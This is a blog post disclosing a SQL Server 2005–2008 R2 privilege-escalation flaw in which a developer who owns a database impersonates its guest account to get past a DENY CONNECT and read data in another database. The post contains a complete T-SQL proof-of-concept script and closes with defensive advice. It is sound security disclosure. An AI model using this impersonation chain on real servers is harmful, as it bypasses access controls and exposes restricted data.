Security-issue: guest-guest impersonation

Almost a year ago I discovered an issue with SQL Server (all Versions from 2005 – 2008 R2, haven't tested 2000) regarding the usage of the guest-account and impersonation.

It also was presented by Ralf Dietrich and me at the SQL Server PASS Summit 2009 in Seattle where we informed Microsoft about it. - Thanks to Jack Richins from Microsoft for helping me find the root cause. (MSDN-blog post)

Unfortunately, a fix hasn’t been provided for SQL Server yet. As I was informed it will only be fixed in the next major version, Codename “Denali”. Here is the Connect-Item: https://connect.microsoft.com/SQLServer/feedback/details/509379/guest-activated-in-2-databases-leads-to-inconsistent-behaviour-and-may-also-compromise-security

Recently I demonstrated this technique again at the SQLCon in Mainz/Germany and now feel that I should blog about this.

This issue applies in a couple of scenarios, a more common of which I want to show here.

One scenario is, that sometimes or even often, developers, whether external or not, are given excessive rights in a certain database – on the same Server, where other databases exists, which may contain “public” data. But “public” maybe only for internal usage and not for external developers.

This is accomplished the following way: the database, let’s call it “InternalPublicData” will have the guest account enabled, and guest has permissions to see whatever is of interest for internal stuff.

In order to prevent access to this database for a certain Login, a database-user will be explicitly created in this database, so the Login does not match to guest and will be denied any resources in this database. One could even deny Connect-permission to the database, to secure it even more.

But this doesn’t help either, as you will see.

Also there is the database where the developer will have full permissions so he can work in his database and do anything inside. He might be dbo or member of the db_owner-role. (Unfortunately quite common because of the restrictions when using db_ddladmin etc.)

And now the trouble begins: The developer, let's call him “Dev0” cannot successfully connect to the InternalPublicData-database and act as guest there. But what he can do is the following: he can enable guest in his very own database.

Doing that, he can impersonate his local guest and then, not being “Dev0” any more, go to the InternalPublicData-database and successfully connect.

At that stage, he already has all permissions that the remote guest-account already has directly attached to it. But that’s not all. He can then do a second impersonate and gain role-memberships of the guest at the InternalPublicData-database!

No "Deny" for Dev0 can prevent that!

As a second option, he could, with permissions of creating a “User without Login“, impersonate that User and use it to jump to other databases where guest-is active…

The following is a script to demonstrate:

--Login:
CREATE LOGIN Dev0
    WITH PASSWORD = 'Pa$$w0rd'
GO

/* setup DBs*/
create database InternalPublicData;
create database DevelopmentDB;
GO

--Target-DB
use InternalPublicData;
grant connect to guest;

create table t1(c1 int)
insert into t1 values(1)

create table t2(c1 int)
insert into t2 values(2)

GRANT SELECT
ON dbo.t1
TO guest    -- and only guest

exec sp_addrolemember 'db_datareader', 'guest'    -- just to point out the fact that these guest-accounts are actually different even further

CREATE USER Dev0 FOR LOGIN Dev0    -- no memberships, so denied everything and not matching to guest automatically

DENY CONNECT TO Dev0    -- to make SURE!

-- DB 2
use DevelopmentDB;

CREATE USER Dev0 FOR LOGIN Dev0

EXEC sp_addrolemember N'db_owner', N'Dev0'
GO

GO

/* Setup finish */

/* Session as Dev0 */

EXECUTE AS LOGIN = 'Dev0'

-- Who and Where am I
SELECT CURRENT_USER AS CURRENT_USER_Name
    , SYSTEM_USER AS SYSTEM_USER_Name
    , ORIGINAL_LOGIN() AS ORIGINAL_LOGIN_Name
    , DB_NAME() AS Current_Database

use InternalPublicData;   -- not possible with Deny Connect

SELECT * FROM t1    -- with no Deny connect he gets denied here

execute as user = 'guest';        -- he can NOT do this at the remote DB (good so far)

-- Part One:

-- go back
USE DevelopmentDB

execute as user = 'guest';        -- not active

grant connect to guest;    -- but as a "Dev" with excessive permissions he can do what he wants
exec sp_addrolemember 'db_datawriter', 'guest'    -- just so that one can differentiate the guest accounts easier

execute as user = 'guest';        -- now we are in the game

-- Who and Where am I
SELECT CURRENT_USER AS CURRENT_USER_Name
    , USER_NAME()    AS DBUser
    , SYSTEM_USER AS SYSTEM_USER_Name
    , ORIGINAL_LOGIN() AS ORIGINAL_LOGIN_Name
    , DB_NAME() AS Current_Database

select * from sys.user_token;    -- now he became guest in DevelopmentDB for real

-- End of Part One

-- Part Two: using guest for executing as guest

USE InternalPublicData;        -- we connected as guest - no Deny for Dev0 Applying!!

SELECT CURRENT_USER AS CURRENT_USER_Name
    , USER_NAME()    AS DBUser
    , SYSTEM_USER AS SYSTEM_USER_Name
    , ORIGINAL_LOGIN() AS ORIGINAL_LOGIN_Name
    , DB_NAME() AS Current_Database
select * from sys.user_token;    -- he became guest in the remote-DB

SELECT * FROM dbo.t1        -- permissions at User(guest)-Level already working!

SELECT * FROM dbo.t2        -- not working because permission for role not applying

-- BUT: switch to InternalPublicData guest explicitely
execute as user = 'guest';        --NOW "Dev0" can do it in the Target-DB

SELECT CURRENT_USER AS CURRENT_USER_Name
    , USER_NAME()    AS DBUser
    , SYSTEM_USER AS SYSTEM_USER_Name
    , ORIGINAL_LOGIN() AS ORIGINAL_LOGIN_Name
    , DB_NAME() AS Current_Database
select * from sys.user_token;    -- he became guest with group-membership in Target-DB

SELECT * FROM dbo.t2            -- can now also read datathrough role-membership

-- End of Part Two: using guest for executing as guest
/* back off step by step */

USE InternalPublicData
revert;

USE DevelopmentDB
revert;

revert;

USE InternalPublicData
revert;

/* Finished */

USE master;
DROP DATABASE InternalPublicData;
DROP DATABASE DevelopmentDB;
DROP LOGIN Dev0

There is just one option to be sure that your system is safe from developers: don’t mix production with development – not even on server-level!

This should be absolutely clear, but I’ll repeat that, as long as I see mixed environments at customers' sites. Unfortunately, this is very common.

And secondly: never use the guest account for data that is not really supposed for everyone.